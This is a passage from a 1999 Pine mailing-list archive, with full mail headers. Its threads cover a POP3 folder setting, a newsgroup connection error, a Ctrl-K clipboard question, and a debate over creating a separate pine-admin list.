(8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id WAA09646 for ; Fri, 12 Feb 1999 22:52:37 -0800 Received: from sttlpop1.sttl.uswest.net (sttlpop1.sttl.uswest.net [206.81.192.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id WAA23376 for ; Fri, 12 Feb 1999 22:52:37 -0800 Received: (qmail 16664 invoked by alias); 13 Feb 1999 06:52:34 -0000 Received: (qmail 16645 invoked by uid 0); 13 Feb 1999 06:52:33 -0000 Received: from mdsl114.sttl.uswest.net (209.181.94.115) by sttlpop1.sttl.uswest.net with SMTP; 13 Feb 1999 06:52:33 -0000 Message-Id: Date: Fri, 12 Feb 1999 22:52:33 -0800 (Pacific Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Terry Gray To: Pine Discussion Forum Subject: RE: POP3 Problem/Question In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: George Gallen X-Cc: Pine Discussion Forum X-X-Sender: gray@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN George, In that case, here's an excerpt from my pinerc that may be relevant to you: incoming-folders="USWEST" {pop.sttl.uswest.net/pop3/user=tgray}INBOX -teg On Sat, 13 Feb 1999, George Gallen wrote: > My inbox-path points to a local INBOX. I'm trying > to setup another folder (not the primary inbox). > > George > > > On Fri, 12 Feb 1999, Karl Zander wrote: > > > George, > > > > Is the line in the pine.conf > > > > inbox-path={pop.erols.com/pop3}INBOX > > > > Do you have a pine.conf.fixed file? Check > > the settings there. Those settings would > > take priority over anything else. > > > > Karl From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 13 Feb 1999 12:37:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA10501 for ; Sat, 13 Feb 1999 12:37:54 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA21691; Sat, 13 Feb 1999 12:37:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA03972; Sat, 13 Feb 1999 12:35:46 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA20348 for ; Sat, 13 Feb 1999 12:32:43 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA27946 for ; Sat, 13 Feb 1999 12:32:43 -0800 Received: from Mercury.unix.acs.cc.unt.edu (mercury.acs.unt.edu [129.120.220.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA12359 for ; Sat, 13 Feb 1999 12:32:42 -0800 Received: from jove.acs.unt.edu (3306@jove.acs.unt.edu [129.120.220.41]) by Mercury.unix.acs.cc.unt.edu (8.8.8/8.8.8) with ESMTP id OAA23506 for ; Sat, 13 Feb 1999 14:32:41 -0600 (CST) Received: from localhost (mwn0001@localhost) by jove.acs.unt.edu (8.8.8/8.8.8) with SMTP id OAA03909 for ; Sat, 13 Feb 1999 14:32:40 -0600 (CST) Message-Id: Date: Sat, 13 Feb 1999 14:32:40 -0600 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Michael William Nesuda To: Pine Discussion Forum Subject: disconnection from newsgroups MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: pine-info@cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Recently I tried to look at various newsgroups and I kept getting the message "421 SMTP connection went away!"; I'm neither able to view newsgroups to which I'm currently subscribed, nor to subscribe to new ones. Does someone know what this message means? - Michael -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 13 Feb 1999 17:32:25 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA12618 for ; Sat, 13 Feb 1999 17:32:24 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA25411; Sat, 13 Feb 1999 17:32:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id RAA08910; Sat, 13 Feb 1999 17:29:16 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id RAA29478 for ; Sat, 13 Feb 1999 17:26:10 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA26788 for ; Sat, 13 Feb 1999 17:26:10 -0800 Received: from luomat.peak.org (port-63-ts1-gnv.da.fdt.net [209.212.132.222]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA16154 for ; Sat, 13 Feb 1999 17:26:08 -0800 Received: by luomat.peak.org (8.9.2/8.9.0) id UAA13145 for pine-info@cac.washington.edu; Sat, 13 Feb 1999 20:26:05 -0500 (GMT-0500) Message-Id: <199902140126.UAA13145@ocalhost> Date: Sat, 13 Feb 1999 20:26:03 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Timothy J Luoma To: Pine Discussion Forum Subject: We need a new list Content-Type: text/plain MIME-Version: 1.0 X-To: pine-info@cac.washington.edu X-Image-URL: http://www.peak.org/~luomat/luomat@peak.org.tiff X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I've given up any hope that this list might get beyond the user-end questions and issues addressed in the FAQ, which seem to be the highest percentage posts. I would like to keep 'pine-info@cac.washington.edu' as it is, but request a new list be made, something like 'pine-admin@cac.washington.edu' for those who are looking for the more technical aspects of PINE. I would also offer to admin that list if the objection raised is that no one has time to do it. The -info name is just too generic I think, people aren't going to figure out that this is a list meant to answer different questions. Originally I was going to send this to the PINE site, but decided I would like to gauge how much interest there would be in adding a list. (both users and @washington.edu) TjL -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sat, 13 Feb 1999 22:56:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA03275 for ; Sat, 13 Feb 1999 22:56:50 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA29301; Sat, 13 Feb 1999 22:56:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id WAA21776; Sat, 13 Feb 1999 22:55:31 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id WAA19750 for ; Sat, 13 Feb 1999 22:52:52 -0800 Received: from chinet.com (lagnaf-1.soho.enteract.com [216.80.30.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id WAA29683 for ; Sat, 13 Feb 1999 22:52:51 -0800 Received: from localhost (ahk@localhost) by chinet.com (8.8.7/8.8.7) with ESMTP id AAA15445 for ; Sun, 14 Feb 1999 00:52:24 -0600 Message-Id: Date: Sun, 14 Feb 1999 00:52:24 -0600 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Adam H. Kerman" To: Pine Discussion Forum Subject: Re: We need a new list In-Reply-To: <199902140126.UAA13145@ocalhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >From: Timothy J Luoma >Date: Sat, 13 Feb 1999 20:26:03 -0500 >The -info name is just too generic I think, people aren't going to figure >out that this is a list meant to answer different questions. It's too late. pine-info is referred to in too many pine distributions at the moment. If those building new pine distributions ignore the references to this mailing list, I seriously doubt that changing its name will make any difference. As far as stopping people from asking FAQs, there's only one solution to that: Don't answer them here. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 14 Feb 1999 02:06:56 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA17845 for ; Sun, 14 Feb 1999 02:06:55 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA31631; Sun, 14 Feb 1999 02:06:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id CAA10742; Sun, 14 Feb 1999 02:04:50 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id CAA24464 for ; Sun, 14 Feb 1999 02:02:19 -0800 Received: from pump2.york.ac.uk (pump2.york.ac.uk [144.32.128.12]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA05012 for ; Sun, 14 Feb 1999 02:02:18 -0800 Received: from nslave.york.ac.uk (nslave.york.ac.uk [144.32.128.52]) by pump2.york.ac.uk (8.8.7/8.8.7) with SMTP id KAA22778; Sun, 14 Feb 1999 10:01:50 GMT Message-Id: Date: Sun, 14 Feb 1999 10:01:49 +0000 ("GMT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Mike Brudenell To: Pine Discussion Forum Subject: Re: We need a new list In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: "Adam H. Kerman" X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hmmm... I agree that Pine-Info is referred to in lots of (older) releases of Pine as the place users can go for assistance (it used to cover both user- and admin-related issues until it was temporarily bidirectionally gatewayed to comp.mail.pine). Hence creating a new, differently named, list for admin topics seems eminently sensible: people with user-queries seeing references to Pine-Info will continue to ask their questions there, whilst admin/developer types can frequent the new Pine-Admin (which would be mentioned only in Pine's installation guide rather than on-line help?). I trust that anyone asking admin-type question in Pine-Info would be treated courteously and have their questions answered, rather than being given a flaming shaft as user-type enquirers currently get in Pine-Info?! The question would then arise: should we then consider having comp.mail.pine bidriectionally gatewayed to comp.mail.pine again? Cheers, Mike B-) -- The Computing Service, University of York, Heslington, York Yo10 5DD, UK Tel: +44-1904-433811 FAX: +44-1904-433740 http://www.york.ac.uk/~pmb1/ * Unsolicited commercial e-mail is NOT welcome at this e-mail address. * On Sun, 14 Feb 1999, Adam H. Kerman wrote: > >From: Timothy J Luoma > >Date: Sat, 13 Feb 1999 20:26:03 -0500 > > >The -info name is just too generic I think, people aren't going to figure > >out that this is a list meant to answer different questions. > > It's too late. pine-info is referred to in too many pine distributions at the > moment. If those building new pine distributions ignore the references to this > mailing list, I seriously doubt that changing its name will make any > difference. > > As far as stopping people from asking FAQs, there's only one solution to that: > Don't answer them here. > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 14 Feb 1999 04:43:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA14814 for ; Sun, 14 Feb 1999 04:43:00 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA24548; Sun, 14 Feb 1999 04:42:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id EAA20861; Sun, 14 Feb 1999 04:40:55 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id EAA26382 for ; Sun, 14 Feb 1999 04:38:25 -0800 Received: from mailsrv1.sckcen.be ([193.190.143.190]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA09358 for ; Sun, 14 Feb 1999 04:38:24 -0800 Received: from charm.sckcen.be ([193.190.184.5]) by mailsrv1.sckcen.be with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2232.9) id ZFD9W6ML; Sun, 14 Feb 1999 13:37:47 +0100 Message-Id: Date: Sun, 14 Feb 1999 13:35:18 +0100 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Jan Kalin To: Pine Discussion Forum Subject: Re: We need a new list In-Reply-To: <199902140126.UAA13145@ocalhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Sender: jank@charm.sckcen.be X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > I would like to keep 'pine-info@cac.washington.edu' as it is, but > request a new list be made, something like > 'pine-admin@cac.washington.edu' for those who are looking for the more > technical aspects of PINE. The first thing that popped up in my mind was: why bother. I would support this if the volume of postings would be too high to separate 'admin' from 'user' questions, thereby burying 'admin' questions. As it is -- a few posts per day -- it doesn't take long to sort out the questions. I don't think that the extra 'user' questions really devalue this list so much that a new one would have to be created. The creation of 'admin' list would also mean that most people who actually know something about Pine and who are the most qualified to answer questions would not read the 'user' list (that, I presume, is the idea behind the 'admin' list). So, the 'user' list would have noone capable of answering questions, even if the answer is RTFFAQ. That would lower the level of 'support' for Pine and wouldn't do much for Pine's image. Another thing: If a user is not very computer literate, the answer to his question and answer may be in the FAQ but he/she may not be able to understand it. Out of curiosity: did anyone *not* post/get an 'admin' type question/answer because of the 'user' type questions on the list? I know that this view might bring on flames; resist the urge! I'm just voicing my opinion. Cheers, Jan -- Jan Kalin (male, preferred languages: Slovene, English) contact information From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 14 Feb 1999 06:49:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA23039 for ; Sun, 14 Feb 1999 06:49:08 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA02544; Sun, 14 Feb 1999 06:49:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id GAA22756; Sun, 14 Feb 1999 06:47:00 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA17274 for ; Sun, 14 Feb 1999 06:44:39 -0800 Received: from templar.fgi.net (root@templar.fgi.net [206.101.112.9]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA11113 for ; Sun, 14 Feb 1999 06:44:39 -0800 Received: from chat81.fgi.net (chat81.fgi.net [208.149.185.81]) by templar.fgi.net (8.9.0/8.8.4) with ESMTP id IAA30744; Sun, 14 Feb 1999 08:44:25 -0600 Message-Id: Date: Sun, 14 Feb 1999 08:46:38 -0500 (US Eastern Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steven Ertelt To: Pine Discussion Forum Subject: Re: We need a new list In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Mike Brudenell X-Cc: Pine Discussion Forum X-X-Sender: ertelt@mail.telalink.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Okay, this will be my third and final try to get an answer to this question. Using PC Pine 4.05, how do you get the ctrl-K delete feature to *not* put the deleted text on the clipboard for pasting. Thanks, Steven From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 14 Feb 1999 08:55:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA23889 for ; Sun, 14 Feb 1999 08:55:20 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA04063; Sun, 14 Feb 1999 08:55:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA25545; Sun, 14 Feb 1999 08:53:47 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id IAA20178 for ; Sun, 14 Feb 1999 08:51:09 -0800 Received: from chinet.com (IDENT:ahk@lagnaf-1.soho.enteract.com [216.80.30.1]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA00677 for ; Sun, 14 Feb 1999 08:51:08 -0800 Received: from localhost (ahk@localhost) by chinet.com (8.8.7/8.8.7) with ESMTP id KAA25232 for ; Sun, 14 Feb 1999 10:50:38 -0600 Message-Id: Date: Sun, 14 Feb 1999 10:50:38 -0600 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Adam H. Kerman" To: Pine Discussion Forum Subject: Re: We need a new list In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >Date: Sun, 14 Feb 1999 10:01:49 +0000 ("GMT) >From: Mike Brudenell >Hmmm... I agree that Pine-Info is referred to in lots of (older) releases >of Pine as the place users can go for assistance (it used to cover both >user- and admin-related issues until it was temporarily bidirectionally >gatewayed to comp.mail.pine). >Hence creating a new, differently named, list for admin topics seems >eminently sensible: people with user-queries seeing references to >Pine-Info will continue to ask their questions there, whilst >admin/developer types can frequent the new Pine-Admin (which would be >mentioned only in Pine's installation guide rather than on-line help?). Therefore, pine-admin will see only minimal traffic until there are sufficient new installations. It's pointless. People haven't followed instructions in the past. We've asked users not to ask beginners questions here. They still ask them. I ask people not to Cc me when replying to the list; I get Cced anyway. There's nothing wrong with the name of this list. This is a place to get information. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 14 Feb 1999 12:59:06 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA25452 for ; Sun, 14 Feb 1999 12:59:05 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA06959; Sun, 14 Feb 1999 12:59:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA08282; Sun, 14 Feb 1999 12:56:58 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA13218 for ; Sun, 14 Feb 1999 12:54:11 -0800 Received: from jasper.somtel.com (jasper.somtel.com [206.139.114.254]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA14629 for ; Sun, 14 Feb 1999 12:54:09 -0800 Received: from localhost (darren@localhost) by jasper.somtel.com (8.8.8/8.6.12) with ESMTP id PAA01036 for ; Sun, 14 Feb 1999 15:54:05 -0500 (EST) Message-Id: Date: Sun, 14 Feb 1999 15:54:05 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Darren Henderson To: Pine Discussion Forum Subject: Re: We need a new list In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Sun, 14 Feb 1999, Steven Ertelt wrote: > Okay, this will be my third and final try to get an answer to this > question. Using PC Pine 4.05, how do you get the ctrl-K delete feature to > *not* put the deleted text on the clipboard for pasting. I think some one did reply to you and told you what I beleive to be true. That ctrl K has _always_ worked that way. Can always alter the source in pico of course. ______________________________________________________________________ Darren Henderson darren@jasper.somtel.com Help fight junk e-mail, visit http://www.cauce.org/ From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 14 Feb 1999 14:59:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA25718 for ; Sun, 14 Feb 1999 14:59:15 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA08366; Sun, 14 Feb 1999 14:59:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA07012; Sun, 14 Feb 1999 14:58:10 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id OAA16538 for ; Sun, 14 Feb 1999 14:55:20 -0800 Received: from hsbc.co.jp (tkmail01.hsbc.co.jp [202.235.236.210]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA29525 for ; Sun, 14 Feb 1999 14:55:19 -0800 Received: from develop06 (joem@develop06 [133.20.26.68]) by hsbc.co.jp (8.8.7/8.8.7) with ESMTP id HAA22187 for ; Mon, 15 Feb 1999 07:52:53 +0900 Message-Id: Date: Mon, 15 Feb 1999 07:54:09 +0900 (JST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Joe Marchak To: Pine Discussion Forum Subject: Re: We need a new list MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > The first thing that popped up in my mind was: why bother. I would > support this if the volume of postings would be too high to separate > 'admin' from 'user' questions, thereby burying 'admin' questions. As it > is -- a few posts per day -- it doesn't take long to sort out the > questions. This was my reaction as well. The pine list isn't high enough volume to warrant a split, and a split would mean subscribing to yet another mailing list just to get the same info. -Joe. _____________________________________________________________________ Joe Marchak joem@hsbc.co.jp ph:03-5203-3925 fx:03-5203-3699 +813/-03 From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Sun, 14 Feb 1999 17:09:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA24494 for ; Sun, 14 Feb 1999 17:09:08 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA09954; Sun, 14 Feb 1999 17:09:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id RAA16747; Sun, 14 Feb 1999 17:06:52 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id RAA28762 for ; Sun, 14 Feb 1999 17:03:23 -0800 Received: from luomat.peak.org (port-23-ts1-gnv.da.fdt.net [209.212.132.182]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA16402 for ; Sun, 14 Feb 1999 17:03:21 -0800 Received: by luomat.peak.org (8.9.2/8.9.0) id UAA04578 for pine-info@u.washington.edu; Sun, 14 Feb 1999 20:03:18 -0500 (GMT-0500) Message-Id: <199902150103.UAA04578@ocalhost> Date: Sun, 14 Feb 1999 20:03:15 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Timothy J Luoma To: Pine Discussion Forum Subject: Re: We need a new list In-Reply-To: References: Content-Type: text/plain MIME-Version: 1.0 X-To: Pine Discussion Forum X-Image-URL: http://www.peak.org/~luomat/luomat@peak.org.tiff X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Author: "Adam H. Kerman" Date: Sun, 14 Feb 1999 00:52:24 -0600 (EST) ID: > It's too late. pine-info is referred to in too many pine distributions at > the moment. If those building new pine distributions ignore the references > to this mailing list, I seriously doubt that changing its name will make > any difference. I meant that we needed to ADD a _second_ list, and leave this one as-is for whatever purpose people want for it. I was not suggesting a simple name-change. Sorry for not being clearer about that. I think that you're right, just changing the name won't help. TjL From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 15 Feb 1999 02:02:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA31700 for ; Mon, 15 Feb 1999 02:02:34 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA07179; Mon, 15 Feb 1999 02:02:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id BAA16236; Mon, 15 Feb 1999 01:57:50 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id BAA11084 for ; Mon, 15 Feb 1999 01:54:24 -0800 Received: from pump2.york.ac.uk (pump2.york.ac.uk [144.32.128.12]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA29269 for ; Mon, 15 Feb 1999 01:54:22 -0800 Received: from nslave.york.ac.uk (nslave.york.ac.uk [144.32.128.52]) by pump2.york.ac.uk (8.8.7/8.8.7) with SMTP id JAA18229 for ; Mon, 15 Feb 1999 09:54:14 GMT Message-Id: Date: Mon, 15 Feb 1999 09:54:13 +0000 ("GMT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Mike Brudenell To: Pine Discussion Forum Subject: Re: We need a new list In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Sun, 14 Feb 1999, Adam H. Kerman wrote: > Therefore, pine-admin will see only minimal traffic until there are sufficient > new installations. It's pointless. The difference is that a posting to Pine-Info urging administrators to use the new list will (hopefully) be seen by the admin-types who frequent this forum most of the time. > People haven't followed instructions in the past. We've asked users not to ask > beginners questions here. They still ask them. I ask people not to Cc me when > replying to the list; I get Cced anyway. In contrast references to Pine-Info being the place to go if you have any (user) questions is engrained into the documentation of an established base of older Pines 